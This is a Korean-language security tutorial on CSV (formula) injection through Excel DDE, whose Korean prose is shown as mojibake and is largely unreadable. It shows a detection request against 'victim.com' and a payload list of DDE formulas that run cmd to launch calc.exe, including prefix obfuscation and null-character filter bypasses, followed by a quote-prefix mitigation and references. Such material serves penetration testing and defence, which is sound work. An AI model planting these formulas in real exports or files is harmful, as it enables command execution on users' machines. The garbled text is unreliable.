Intro
π¨ νμ¬λ μ¬μ©μκ° DDE μλ νμ© μ€μ μ νλλΌλ DDEκ° ν¬ν¨λ CSV νμΌμ μ΄ λ, Excel κ²½κ³ μ°½μ΄ λνλλ‘ λμ΄μμ΄ μ¬ν 곡νμ μμλ νμν 곡격 λ°©λ²μ λλ€.
Formula Injection μ·¨μ½μ λ΄ ν μ’
λ₯λ‘ λΆλ₯λλ CSV Injectionμ μΌλ°μ μΌλ‘ CSV Export λ±κ³Ό κ°μ CSV File Download κΈ°λ₯μμ λ°μλ©λλ€.
βοΈκ°νΉ μλͺ»λ λ‘μ§μΌλ‘ .xlsx μμ± μμ λ°μνκΈ°λ ν©λλ€.
λ°μ μ리λ DDE(Dynamic Data Exchange)λΌλ Window μ΄μ체μ μμ μμ© νλ‘κ·Έλ¨ κ° λ°μ΄ν° μ μ‘μ μν΄ μ¬μ©λλ κΈ°λ₯μ΄ μ μμ μΌλ‘ μλλ¨μ κΈ°λ°ν©λλ€.
μ΄μ체μ λͺ λ Ήμ΄λ₯Ό μ€νμν¬ μ μλ€λ μ μμ μνν μ·¨μ½μ μ΄μ§λ§, λ§μ 쑰건λ€μ΄ κ°μΆ°μ ΈμΌλ§ μ€μ κ³΅κ²©μ΄ κ°λ₯νμ¬ μΌλΆ λ²κ·Έλ°μ΄ν° νλ‘κ·Έλ¨μμλ λ°μλ€μ¬μ§μ§ μλ μ·¨μ½μ μ λλ€.
νμ§λ§, μ μ± DDEλ₯Ό μ½μ νλ κ³Όμ μ΄ λ¨μνλ©° μλΉμ€ νΉμ± μ μ¬μ©μκ° ν΄λΉ νμΌμ μ λ’°νλ μν©μ΄λΌλ©΄ μνλλ λμ΅λλ€. κ·Έ μλ‘ CVE-2023-51763 κ° μμ΅λλ€.
Detect & Exploit
Detect
μ¬μ©μ μ
λ ₯ κ°μ΄ CSV File Download μ λ°μλλ μ§ νμΈνκ³ , μ
μ± DDEλ₯Ό λμμν¬ μ μλ νΉμλ¬Έμ(-
, +
, @
, =
)κ° Cell κ°μ₯ μ λΆλΆμ μμΉν μ μλ μ§ νμΈνλ©΄ λ©λλ€.
#Request
GET /api/csv_export HTTP/2
Host: victim.com
#Response
HTTP/2 200 OK
title
=2+5+cmd|' /C calc'!A0
Exploit
νμ§ν λΆλΆμ μ μ± DDEλ₯Ό μ½μ ν λ€μ΄λ‘λνμ¬ μλ μ¬λΆλ₯Ό μ΄ν΄λ³΄λ©΄ λ©λλ€.
#Basic Payload
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
#Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
#Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
Security Measures
μ
μ± DDEλ₯Ό λμμν¬ μ μλ νΉμλ¬Έμ(-
, +
, @
, =
)κ° Cell κ°μ₯ μλΆλΆμ μμΉν μ μλλ‘ Space
, '
λ±μ κ°μ₯ μμ μ½μ
νμ¬ μ‘°μΉνλ©΄ λ©λλ€.
'=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
References
Formula/CSV/Doc/LaTeX/GhostScript Injection
OWASP-CSV Injection
PayloadsAllTheThings
CSV Injection